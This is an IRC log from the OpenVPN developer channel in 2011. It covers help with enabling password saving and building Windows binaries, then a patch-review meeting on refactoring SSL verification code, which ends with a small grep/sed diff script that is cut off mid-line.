<@dazo> MariaKeys: from 2.2.0 the enable-save-password is default on Windows 11:44 < MariaKeys> @dazo: I was looking at your openvpn instructions actually. 11:46 < MariaKeys> actually, I think this would be all better if I can just build windows binaries from linux. 11:47 <@dazo> MariaKeys: yeah, the building stuff on Windows is really nasty ... it's still a work in progress, but now our windows build box is actually able to build it in MSVC .... but as long as the dependency dll's is in place (probably with the extra support files, like manifests and so on), I believe it compiles pretty nicely 11:47 < MariaKeys> @dazo: How to produce windows binaries in linux? Any ideas. 11:47 <@dazo> MariaKeys: but mattock (he's not here now), is the guy who wrote the docs 11:48 <@dazo> MariaKeys: I've done that 2-3 times in Fedora, with mingw32 packages .... then use mingw32-configure instead of ./configure ... and mingw32-make instead of make ... except of that, its like building in Linux 11:48 <@dazo> MariaKeys: but if all you want to do is to have ENABLE_PASSWORD_SAVE enabled ... don't recompile it ... use OpenVPN 2.2.0 - it's already enabled there 11:48 < kisom> d12fk: sure, i can do some swedish translation 11:50 < MariaKeys> @dazo: Is this certain? 11:53 <@dazo> MariaKeys: Yes, it is ... just check with openvpn --version 11:54 < MariaKeys> I don't see the code changed in misc.c 11:55 <@dazo> it's not changed there ... it's chaned in config.h, which is auto-generated from win/config.h.in ... but you'll see it in openvpn --version, what is enabled 11:55 <@dazo> If you don't believe me, you can check the commit log ... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=commit;h=980d44047f4ab1541f80df1c9c2cfe6a2c572af8 11:55 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/commit (at openvpn.git.sourceforge.net) 11:56 <+krzee> combined with, if you dont believe dazo on that, you have no clue who he is ;] 11:56 <+krzee> good morning all =] 11:56 < WilcoRoger> !morning 11:57 <@dazo> morning :) 11:57 < MariaKeys> #undef ENABLE_PASSWORD_SAVE 11:57 < MariaKeys> it is still this one in config.h.in dazo 11:57 <@dazo> MariaKeys: http://www.fpaste.org/GHtz/ ... that's what my test installation from OpenVPN 2.2.0 says 11:58 <@dazo> I clearly see: ENABLE_PASSWORD_SAVE=1 11:59 < MariaKeys> I see. That is in win/settings.h.in 12:00 < MariaKeys> I dont remember why I had a patch to modify misc.c to enable this. but I am building openVPN since many years solely for that purpose. 12:00 < MariaKeys> Of course, I have added many stuff now as well. 12:01 <@dazo> let me look at your patch 12:01 <@dazo> The win/settings.in file for v.2.2.0 says: !define ENABLE_PASSWORD_SAVE 1 12:02 < MariaKeys> http://www.fpaste.org/HsLI/ 12:04 <@dazo> that patch is a failure ... it doesn't enable password save, it just removes a fatal error if the password-save is tried used ... 12:04 < MariaKeys> :) 12:04 <@dazo> so if you try to *enable* the password save feature, this won't work 12:04 < MariaKeys> it works :) 12:05 < MariaKeys> --- install-win32/settings.in.orig 2010-01-27 07:51:22.000000000 +0400 12:05 < MariaKeys> +++ install-win32/settings.in 2010-01-27 07:51:51.000000000 +0400 12:05 < MariaKeys> @@ -10,7 +10,7 @@ 12:05 < MariaKeys> !define PRODUCT_FILE_EXT "ovpn" 12:05 < MariaKeys> # Allow --askpass and --auth-user-pass passwords to be read from a file 12:07 <@dazo> yeah, it will work actually, I remembered that part of the code wrong ... if you had just defined ENABLE_PASSWORD_SAVE, it would have done *exactly* what you do ... I just don't see why this was preferred to patching the settings.in or config.h 12:07 <@dazo> however, this is *not* needed for v2.2.0 and newer ones 12:07 < MariaKeys> @dazo: I had no desire to compile or patch anything. I am not a developer. 12:07 <@dazo> you have that feature out of the box now 12:08 < MariaKeys> I just wanted the option of saving the passwords. Instead of having a basic config option of enabling/disabling this, I had to spend days compiling convolted openVPN mess. 12:08 < MariaKeys> phyton build_all.ph --notap does not work either. 12:09 < MariaKeys> you need to comment out codes in build_all.py and config_all.py 12:09 <@dazo> that's nonsense ... our build box works ... I presume you're compiling 2.2.1 ... 12:10 < MariaKeys> yes 2.2.1 12:10 <@dazo> but happy ending anyhow ... you don't need to compile it any more :) 12:10 < MariaKeys> @dazo: I do. I need to change some other stuff as well. 12:11 <@dazo> what stuff? 12:11 < MariaKeys> @dazo: But it started because of this simple option. And since I was there, I added/removed some other things. 12:12 < MariaKeys> @dazo: I have couple of questions perhaps you can help me with. 12:12 <@dazo> shoot .. but do it fast ... I'm soon out of here for today 12:12 < MariaKeys> If I build in 2003 32-Bit, would this work for 2008 x64 as well? Or Win7 x64? 12:13 <@dazo> I have no idea, tbh ... I'm not doing the windows build, I just review and apply patches to the official git tree ... I'm a Linux guy 12:14 <@dazo> but my common sense says, that's exactly what we do with the official openvpn builds 12:14 < MariaKeys> dazo: So show me the way on how to compile windows binaries from linux then. 12:14 <@dazo> I've only done windows builds for testing in Fedora, as I said : mingw32-configure ... instead of ./configure ... and use mingw32-make instead of make ... that's all 12:15 <@dazo> it gives me an openvpn.exe binary, and I'm happy 12:15 < MariaKeys> hmm. 12:15 <@dazo> I don't use Windows, so I've never tried to build the installer or anything else 12:15 < MariaKeys> Alright. Thanks so much then. 12:16 < MariaKeys> I finally built this old gui from mingw in windows. 12:31 < WilcoRoger> \nick WilcoRogers 12:32 <@dazo> WilcoRoger: / not \ ;-) 12:34 < WilcoRoger> :) 12:39 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has joined #openvpn-devel 12:39 < MariaKeys> New Gui from gitweb does not build: ./bootstrap && ./configure complains. --with-crypto-dir=c:/openssl is fine. But make does not produce binary. 12:41 -!- dazo is now known as dazo_afk 12:43 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has quit [Client Quit] 12:43 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has joined #openvpn-devel 13:14 -!- MariaKeys [~MariaKeys@2.51.39.247] has quit [] 14:02 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:04 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Client Quit] 14:09 -!- WilcoRoger [8368992a@gateway/web/freenode/ip.131.104.153.42] has quit [Ping timeout: 252 seconds] 15:17 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:49 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:49 -!- mode/#openvpn-devel [+o andj__] by ChanServ 17:54 -!- Netsplit *.net <-> *.split quits: @andj 17:54 -!- andj__ is now known as andj 21:32 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 21:32 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 21:32 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:32 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Thu Jul 21 2011 01:10 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:10 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 01:10 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 01:10 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:13 -!- dazo_afk is now known as dazo 02:23 -!- patelx [~a@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 258 seconds] 02:27 -!- patelx [~a@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 03:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:14 <@dazo> hey, mattock :) back from the US? 03:17 <@mattock> yep 03:17 <@mattock> actually, I was back on Monday, but it has taken some time to recover 03:17 <@dazo> ahh :) 03:17 <@dazo> good trip? 03:17 <@mattock> yep, no complaints 03:17 <@mattock> except that the weather was strange... I thought I was going for a beach holiday, but no :D 03:18 <@mattock> colder than in Finland last week 03:18 <@dazo> ouch! 03:18 <@mattock> did you notice that I setup an apt repo (last friday I think) 03:19 <@mattock> a proof of concept at this point, but it seems to work 03:19 <@dazo> uhm ... not sure I noticed, tbh ... been quite busy 03:19 <@mattock> I think I'll setup repos for Ubuntu and Debian before 2.3 alphas are released 03:19 <@mattock> to get more *NIX testers, too 03:19 <@dazo> sounds good! 03:20 <@dazo> with the SL6 box available too, we could setup a yum repo as well 03:20 <@mattock> yep, the only issue is packaging RPMs... I'm not yet very familiar with that 03:21 <@mattock> I've created some RPMs in the past, but they were nothing fancy 03:21 <@dazo> ahh, that's fairly simple task ... once you have a proper .spec file .... can probably use the one from EPEL, to be close as possible to what others use 03:21 <@dazo> I can probably try to find a time to poke at that quickly 03:21 <@dazo> once the .spec file is done .... rpmbuild -ba openvpn.spec ... and you get all rpm files 03:22 <@mattock> oh, sounds good 03:22 <@mattock> are you on vacation now? 03:23 <@dazo> not quite yet ... but I have had a need to reduce the workload, it's been a bit hefty lately 03:23 <@dazo> I'll start travelling tomorrow 03:23 <@mattock> where to, if I may ask? 03:24 <@dazo> today is the "packing and get ready day" ... to the Czech Rep. again .... last planned trip there for some months, so meeting my wife's family and friends 03:25 <@dazo> even though, I'll pass the office in Brno as well, and work a couple of days with my team there ... needed to use that chance too 03:25 <@mattock> ah, a business trip 03:25 <@dazo> it's a mixture :) 03:25 <@dazo> 3 days off next week, 2 days work :) 03:44 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:44 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 03:44 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 03:44 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+v krzie] by ChanServ 04:44 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 04:54 <@mattock> can you guys access https://forums.openvpn.net and https://community.openvpn.net 04:54 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Support Forum (at forums.openvpn.net) 04:54 <@mattock> ? 05:03 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:05 <@mattock> ah, just a glitch somewhere 05:48 <@dazo> mattock: you remember you should look at the SSL Verification functions patches today, not SSL Library separation patches? 05:49 <@dazo> verification stuff was to be with James, as he be deeply involved with that .... the separation patches cron2 and I can take 07:09 <@mattock> ah 07:10 <@mattock> I'll fix the topic list 07:11 <@mattock> fixed 07:28 <@dazo> thx! 08:19 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:44 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 08:44 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 08:44 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:19 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:51 <@andj> dazo: SSL verfication? 09:51 <@andj> Thought we were doing the other ones, SSL separation 09:51 <@dazo> andj: the verification patches, which you said were deeper going 09:51 <@andj> But I'm ok with both :) 09:52 <@andj> ok, that's cool 09:52 <@dazo> andj: I can't join today, have to prepare for travelling tomorrow ... and next week I'll be busy as well 09:52 <@dazo> but james said he could join today, and he's stronger in SSL stuff than many of us others here 09:53 <@andj> ok, have fun :) The SSL verification stuff is slightly more complex, but it makes things a lot more simple in the end 09:53 <@andj> It moves the plugin stuff around too 09:53 <@dazo> :) 09:54 <@dazo> As long as the plug-in v3 API will continue to work ;-) 09:55 <@dazo> andj: would it be possible for you to try to have a look at an example plug-in, like plugin/examples/log_v3.c ... using PolarSSL instead of OpenSSL 09:56 <@dazo> I see that we most likely need to have some kind of SSL implementation check so that plug-ins can validate if OpenVPN is using the same implementation as the plug-in 09:56 * dazo is just thinking aloud 09:57 <@andj> yeah, agreed 09:57 <@andj> Best way would be to just let plugins use the internal crypto/x509 api 09:57 <@andj> but it's not quite up to the OpenSSL standards 09:57 <@andj> :) 09:58 <@andj> and I'm not sure whether we can ever compete with a larger API 09:59 <@dazo> yeah, and as those APIs might develop further ... providing a useful up-to-date "common" API will require more work 10:00 <@andj> exactly, and it's not really OpenVPN "core business" 10:00 <@dazo> so I think it's better to just have something telling the plug-in "I'm using SSL implementation XYZ" ... and the plug-in can decide to bail-out or accept that 10:00 <@andj> compile time or run-time? 10:00 <@dazo> run-time, as plug-ins can be third-party 10:00 <@andj> (assume you mean run-time :) 10:00 <@dazo> yeah :) 11:01 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:17 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:57 <@andj> Evening everyone 11:58 <@mattock> hi andj! 11:58 <@mattock> I mailed jamesyonan just in case 11:58 <@andj> :) 11:59 <@andj> let's hope he can make it 11:59 <@mattock> yeah, otherwise we'll have hard time managing the meeting today 11:59 <@mattock> or the patches 12:00 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:00 <@andj> Hi 12:00 <@jamesyonan> hi 12:01 <@mattock> hi jamesyonan 12:01 <@jamesyonan> hi guys 12:01 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-21 12:01 <@vpnHelper> Title: Topics-2011-07-21 – OpenVPN Community (at community.openvpn.net) 12:02 <@andj> dazo asked us to review the SSL verification patches today 12:02 <@mattock> the actual patch list for today is here: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration#Verificationfunctions 12:02 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 12:02 <@andj> That means that we skip the separation patches until he is back/or next week 12:02 <@andj> depending on what we decide later today 12:03 <@andj> The idea behind these patches 12:03 <@andj> is that SSL functionality has already been split into ssl_backend.h, and ssl_openssl.c 12:03 <@andj> in the previous set 12:03 <@andj> just like for crypto_backend.h and crypto_openssl.c 12:03 <@andj> This patch set builds on that 12:04 <@andj> and separates out the verification functions 12:04 <@andj> which were also originally defined in ssl.c 12:04 <@andj> This was done to clean up the verification code, allowing easier hooks to be created in the future 12:05 <@andj> so, without further ado, anyone ready for the first patch? :) 12:05 <@jamesyonan> so the first patch is just moving stuff to ssl_common.h ? 12:05 <@andj> Note that, although it's not part of this series, 12:05 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/46e7d0b6ae89634e70686bf48bfcdca07249f829 12:05 <@vpnHelper> Title: Commit 46e7d0b6ae89634e70686bf48bfcdca07249f829 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:06 <@andj> is the basis, where ssl_verify* files are created 12:06 <@andj> In that patch they're just stubs though 12:06 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/1e3d80aeafa910a21bf9fe4e23c59392ea6fc551 is the patch jamesyonan was refering to 12:06 <@vpnHelper> Title: Commit 1e3d80aeafa910a21bf9fe4e23c59392ea6fc551 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:06 <@andj> and that's just moving stuff around 12:07 -!- dazo is now known as dazo_afk 12:07 <@andj> So that required structures are available from the ssl_verify files 12:08 <@jamesyonan> I wish the diff could be smarter and simply indicate that text in the file was moved rather than making it indistinguishable from a large patch that changes many lines of code 12:08 <@andj> agree 100% 12:09 <@andj> That would have made my life much easier during porting from 2.1 to 2.3 too :) 12:11 <@andj> Anyway, had a chance to verify that there were no changes? 12:11 <@jamesyonan> I'm certainly fine with the patch if it's just moving stuff around 12:11 <@andj> ok, moving on to the next one: https://github.com/andj/openvpn-ssl-refactoring/commit/365d2319d95f4374072a2b6ea49b1b6c472fbb39 12:11 <@vpnHelper> Title: Commit 365d2319d95f4374072a2b6ea49b1b6c472fbb39 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:12 <@andj> That one extracts the client_config_dir_exclusive stuff to its own function within verification, taking it out of key_method_2_read 12:14 <@andj> Is that one ok with you? 12:14 <@mattock> andj: so both 1e3d80a and46e7d were ACKed? 12:15 <@andj> mattock: we'll leve 46e7 for next time 12:15 <@mattock> ok 12:15 <@andj> as it's part of a different series 12:15 <@andj> But I don't expect any problems with that one 12:17 <@jamesyonan> yes, 365d looks reasonable (I wish there was a coverity-like analysis tool that could verify that a given refactoring doesn't change functionality) 12:17 <@andj> All I can say is that I checked while I was working on it, but that doesn't give a 100% guarantee 12:17 <@andj> More eyes on a piece of code are the best solution for now 12:18 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/bbe117b0217180718f9d84ed21c149b0d0f035ad 12:18 <@vpnHelper> Title: Commit bbe117b0217180718f9d84ed21c149b0d0f035ad to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:18 <@andj> This one moves the cert hash verification 12:19 <@andj> again, pretty straightforward move 12:19 <@andj> Do note that cert_has_remember has its prototype definition in ssl_verify_backend.h 12:19 <@andj> That's because it is used as a support function by the backend, not because it is defined there 12:19 <@andj> But that'll come in a later patch 12:24 <@mattock> jamesyonan: any thoughts? 12:27 <@mattock> ... 12:27 <@andj> :) 12:28 <@jamesyonan> honestly, I don't think anyone can look at these patches and verify that they don't change functionality 12:29 <@jamesyonan> isn't there any tool that we can use to assist in this? 12:29 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 12:29 <@mattock> I'll take a look at google 12:32 <@mattock> maybe we should give conditional "if this does not change functionality" ACKs today? 12:32 <@mattock> and try to find tools/techniques that could verify that 12:32 <@mattock> later 12:33 <@andj> That sounds like a good idea 12:33 <@andj> I'm googling in the background 12:33 <@jamesyonan> andj: don't get me wrong -- I very much appreciate your work -- I'm just feeling daunted by my inability to look at these patches and verify that they don't change any functionality without better tools 12:34 <@mattock> jamesyonan: what if you look at the patches an ACK them conditionally as ^^^ 12:34 <@andj> Don't worry, I understand, and I've spent quite a lot of time trying to fix it this way 12:34 <@andj> But just don't know how to do it differently using normal diffs 12:34 <@jamesyonan> this stuff obviously lies at the core of the SSL verification functionality, so even subtle bugs in refactoring could introduce vulnerabilities 12:35 <@jamesyonan> we need to mitigate this risk somehow 12:36 <@mattock> any ideas if this kind of vulnerabilities would be caught using static analysis (e.g. valgrind/coverity)? 12:37 <@jamesyonan> yes, this is clearly a static analysis problem -- the question is whether the static analysis tools support refactoring analysis 12:39 <@mattock> I'll try to dig some info on this... 12:41 <@jamesyonan> It looks like there's some open source work in this area -- https://developer.mozilla.org/en/Dehydra 12:41 <@vpnHelper> Title: Dehydra - MDN Docs (at developer.mozilla.org) 12:43 <@jamesyonan> it looks like this sort of thing is sometimes referred to as Differential Static Analysis 12:44 <@andj> couldn't we do this a little simpler? Take the code in one file, and the added code, and apply a diff between that? 12:45 <@jamesyonan> what we really need is a smarter diff 12:45 <@jamesyonan> it looks like others are thinking along these lines as well: http://research.microsoft.com/en-us/projects/symdiff/ 12:45 <@vpnHelper> Title: SymDiff - Microsoft Research (at research.microsoft.com) 12:46 <@mattock> andj: did you use any refactoring tool for your refactoring? 12:46 <@mattock> it seems there are some available, which I guess would check that functionality does not change 12:47 <@andj> eclipse refactorings, but they're limited for C 12:48 <@mattock> eclipse CDT? 12:48 <@andj> yeah 12:48 <@mattock> http://r2.ifs.hsr.ch/cdtrefactoring 12:48 <@vpnHelper> Title: CDT Refactoring (at r2.ifs.hsr.ch) 12:49 <@andj> again, very limited 12:49 <@jamesyonan> I don't think we necessarily need a refactoring tool for this -- we just need a smarter diff 12:50 <@andj> which, if I look around is near impossible to find 12:50 <@jamesyonan> for example if we had a tool that could parse C into (say) semantic trees and then diff at the tree level 12:50 <@andj> as it seems to be NP :) 12:50 <@jamesyonan> you mean NP-complete? 12:51 <@mattock> it seems this symdiff is available for Linux, too: http://symdiff.com/ 12:51 <@vpnHelper> Title: Symdiff | Symbolic Differentiation (at symdiff.com) 12:51 <@andj> can't find a reference to it's completeness 12:51 <@mattock> unless it's a different symdiff :) 12:51 <@mattock> ah, it probably is 12:53 <@jamesyonan> say you break the code into C trees and take the hash of each subtree -- then when you display the diff, any equivalent subtrees are marked as such and collapsed 12:53 <@jamesyonan> complexity would appear at first glance to be n-squared -- not really a big deal 12:55 <@andj> True, unfortunately, I can't find one :( 12:55 <@andj> Is there a different way that we can approach this? 12:57 <@jamesyonan> I'm torn in the sense that I completely agree that the crypto/SSL stuff should be abstracted, but I'm worried about correctness here 12:58 <@jamesyonan> The thing to do would be to parse the C code with this http://code.google.com/p/pycparser/ 12:58 <@vpnHelper> Title: pycparser - C parser and AST generator written in Python - Google Project Hosting (at code.google.com) 12:59 <@jamesyonan> then do a smart diff by walking the tree 12:59 <@andj> The amount of time that we would have to put into that isn't really proportionate though, is it? 13:00 <@jamesyonan> the diff would collapse all repetitions of the same subtree 13:01 <@mattock> jamesyonan: is this something you could do easily? 13:02 <@jamesyonan> It's hard to believe no one has done this yet -- it seems like a classic kind of computer science problem 13:05 <@jamesyonan> how do other projects handle this in the sense of having a large patch that i 13:06 <@jamesyonan> ... influences security in a fundamental way and is mostly about refactoring and abstraction layers 13:06 <@mattock> pycparser looks interesting, even has automated unit testing discovery... which would also help catch potential refactoring issues 13:07 <@jamesyonan> I would love to work on this, but I suspect that this would be the beginning of a new open source project 13:07 <@mattock> :P 13:07 <@jamesyonan> semantic diff for C 13:08 <@mattock> so, what would be the simplest solution in our case... without spending excessive amounts of time on it? 13:09 <@mattock> jamesyonan: what about andj's earlier suggestion: "couldn't we do this a little simpler? Take the code in one file, and the added code, and apply a diff between that?" 13:09 <@jamesyonan> what if we confine the patches to an alternate branch pending some level of automated verification? 13:10 <@mattock> sounds good 13:10 <@andj> I disagree 13:11 <@andj> I don't expect automated verification to happen any time soon, as it requires tooling that currently just doesn't exist 13:11 <@andj> meaning that these patches could hang in limbo for a long time 13:12 <@jamesyonan> andj: I'm just totally OCD about security 13:13 <@andj> So am I, and I agree with you that you want to see clearer proof 13:13 <@andj> I just want to find an easier solution 13:14 <@jamesyonan> how about this, I'll take a couple days to look more in depth at automated verification options 13:14 <@andj> How about this: I provide two files: functions that were removed, functions that were added 13:14 <@andj> and we take a diff between them? 13:14 <@jamesyonan> and get a sense of whether it's feasible at this time to take such an approach 13:15 <@mattock> perhaps do both? 13:15 <@mattock> fallback to andj's suggestion if automated approach fails 13:15 <@jamesyonan> yes, I think that's reasonable 13:16 <@mattock> andj: is there anything to review in these patches, besides verifying they don't change functionality? 13:16 <@mattock> meaning, should we review them at all today? 13:16 <@andj> There are a few places where functionality is refactored in a more fundamental way, which we could look at 13:17 <@mattock> let's do those, then, shall we? 13:17 <@andj> Trouble is, the point of most of these patches is to not change anything 13:17 <@andj> This one shouldn't be a problem: https://github.com/andj/openvpn-ssl-refactoring/commit/77aa7ead6e86082045e5423d88df8cb1d6179efd 13:17 <@vpnHelper> Title: Commit 77aa7ead6e86082045e5423d88df8cb1d6179efd to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:20 <@jamesyonan> so in this, X509_NAME_CHAR_CLASS is being copied from another file I presume? 13:20 <@andj> yes 13:20 <@andj> gets removed in a later patch, but is required in two places for now 13:20 <@jamesyonan> sure, that's fine 13:21 <@andj> This one is more complex, but needs to be looked at by hand anyway: https://github.com/andj/openvpn-ssl-refactoring/commit/950b2182d8846d794ca1339b8d20ad7532801c5f 13:21 <@vpnHelper> Title: Commit 950b2182d8846d794ca1339b8d20ad7532801c5f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:21 <@andj> That's because it splits the verify_callback 13:21 <@andj> into an SSL-lib specific part 13:21 <@andj> and a non-ssl lib specific part 13:24 <@andj> The lib-specific part is responsible for checking that preverification was ok, and for calculating/storing the hash 13:24 <@andj> as that needs to be done whether pre-verification passes or fails (to not change functionality) 13:32 <@jamesyonan> andj: so is this done so that you can call verify_cert from other places? 13:32 <@andj> yes, for example from the polar code 13:32 <@andj> verify_cert is generic (or will be in later patches) 13:33 <@andj> and the openssl callback isn't 13:36 <@jamesyonan> so you're saying that "did peer present cert which was signed by our root cert?" check is done differently for PolarSSL code than OpenSSL code? 13:36 <@andj> No, the callback has a different signature 13:36 <@andj> so the verify_cert function is generic 13:37 <@andj> the same for both Polar and OpenSSL 13:37 <@andj> But "verify_callback (int preverify_ok, X509_STORE_CTX * ctx)" 13:37 <@andj> is different 13:37 <@jamesyonan> so is verify_callback OpenSSL-only now? 13:38 <@andj> yes 13:38 <@andj> It is moved to ssl_verify_openssl.c 13:39 <@jamesyonan> it would be nice to have a unit test for verify_callback 13:42 <@andj> It should be easier to create, as the code is slightly more isolated now 13:43 <@jamesyonan> would ERR_clear_error need to be called if verify_cert causes session->verified to be set to false? 13:45 <@andj> There could have been an error generating the subject 13:46 <@andj> oh sorry, in verify_cert 13:46 <@andj> it is called:  err:  ERR_clear_error ();  session->verified = false; 13:46 <@andj> https://github.com/andj/openvpn-ssl-refactoring/blob/950b2182d8846d794ca1339b8d20ad7532801c5f/ssl.c 13:46 <@vpnHelper> Title: ssl.c at 950b2182d8846d794ca1339b8d20ad7532801c5f from andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:46 <@andj> It's just not in the diff 13:46 <@andj> ,as the code there doesn't chanage 13:46 <@andj> -a 13:52 <@jamesyonan> well the old code always seems to call ERR_clear_error () any time session->verified is set to false 13:52 <@andj> so does the new code :) 13:52 <@andj> see https://github.com/andj/openvpn-ssl-refactoring/blob/950b2182d8846d794ca1339b8d20ad7532801c5f/ssl.c#L1038 13:53 <@vpnHelper> Title: ssl.c at 950b2182d8846d794ca1339b8d20ad7532801c5f from andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:53 <@andj> nothing changed there 13:53 <@jamesyonan> I get it, it's just off the end of the patch 13:53 <@andj> yeah, exactly 13:54 <@jamesyonan> yes, overall I think this patch is reasonable 13:54 <@mattock> nice! 13:55 * andj is happy 13:55 <@andj> it's the basis for most of the SSL verification stuff 13:55 <@andj> so that's a relief 13:55 <@mattock> 4 patches done: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration 13:55 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 13:56 <@andj> This patch externalises subject name retrieval: https://github.com/andj/openvpn-ssl-refactoring/commit/22a6039ac3ae6b09650f74c0db65269099f829fe 13:56 <@vpnHelper> Title: Commit 22a6039ac3ae6b09650f74c0db65269099f829fe to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:56 <@jamesyonan> I have to leave in 5 minutes 13:56 <@andj> ah, ok 13:56 <@mattock> perhaps we can still cover this one 13:56 <@mattock> ? 13:56 <@andj> Instead, let's talk about what we're going to do about the other patches, and set a date for the next session 13:56 <@andj> If that's ok? 13:57 <@mattock> ok 13:57 <@mattock> jamesyonan: can you take a look at behavioral diff stuff before next session? 13:57 <@andj> I suggest we look around for automated tools for diffing block moves 13:57 <@jamesyonan> yes, I will look into that 13:58 <@andj> and I'll have a look at getting some combination of sed/grep/multiple diff calls 13:58 <@mattock> sounds good 13:58 <@mattock> next session next week, or earlier? 13:58 <@andj> shall we discuss this somewhere beginning of next week? 13:58 <@andj> say monday or tuesday? 13:58 <@mattock> fine with me 13:58 <@mattock> tuesday? 13:59 <@andj> Tuesday is good, what time? 13:59 <@mattock> same time? 13:59 <@andj> OK, that's fine... But I'd prefer to only discuss the tooling then briefly 13:59 <@andj> and doing an actual sprint on thursday again 13:59 <@andj> (due to lack of time) 13:59 <@mattock> okay, sounds good 14:00 <@andj> So quick meeting tuesday, proper sprint thursday 14:00 <@mattock> jamesyonan: can you attend on Tuesday at 17:00 UTC? 14:00 <@mattock> 17:00 - 18:00 probably 14:00 <@andj> Later/earlier is fine with me too 14:00 <@jamesyonan> 22a6 looks fine 14:01 <@andj> cool 14:01 <@mattock> ok, let's call this a day 14:01 <@jamesyonan> yes, Tuesday at 17:00 works for me 14:01 <@andj> ok, thanks everyone, and speak to you on Tuesday 14:02 <@mattock> we got some work done, and hopefully some tools later to ease the process in next sprint 14:02 <@jamesyonan> take care guys 14:02 <@mattock> bye! 14:02 <@andj> and I'm really interested in what we can find tooling wise 14:02 <@andj> take care 14:02 <@mattock> I'll write the summary tomorrow, as usual 14:02 <@andj> yeah, having proper automated tools would save time in the future 14:02 <@andj> Thanks 14:06 <@andj> ok, I've got a solution btw, it works reasonably for this style of commits 14:06 <@andj> git diff 365d2319d95f4374072a bbe117b0217180718f9d >../diff.txt 14:07 <@andj> cat diff.txt |grep "^-" |sed s/^-// >removed.txt 14:08 <@andj> at diff.txt |grep "^+" |sed s/^+// >added.txt 14:08 <@andj> diff -u removed.txt added.txt 14:08 <@andj> and tada 14:09 <@andj> that works :) 14:09 <@mattock> can you give an example diff? 14:09 <@andj> Want an e-mail? 14:09 <@mattock> maybe pastebin, so that I can link to it in the meeting summary 14:10 <@mattock> expire: never if ok with you 14:10 <@andj> Is there an openvpn one? 14:10 <@mattock> hmm, there probably is 14:11 <@andj> I'll just paste it, sec 14:13 < jamx> https://gist.github.com/ maybe 14:13 <@vpnHelper> Title: Gist (at gist.github.com) 14:14 <@mattock> jamx: nice, never seen that before 14:16 <@andj> https://gist.github.com/1097957 14:16 <@vpnHelper> Title: gist: 1097957 Gist (at gist.github.com) 14:16 <@andj> the diff is the second file 14:16 <@andj> and it clearly shows that tls_deauthenticate was added to ssl_verify.c and is now 14:17 <@andj> *new 14:17 <@andj> I'm actually surprised how well that low-tech solution works :) 14:17 <@andj> as long as the order doesn't change 14:21 <@mattock> andj: very cool 14:27 <@andj> #!/bin/bash 14:27 <@andj> git diff $1 $2 >/tmp/difftmp123.txt 14:27 <@andj> cat /tmp/difftmp123.txt |grep "^-" |sed s/^-// >/tmp/removed123.txt 14:27 <@andj> cat 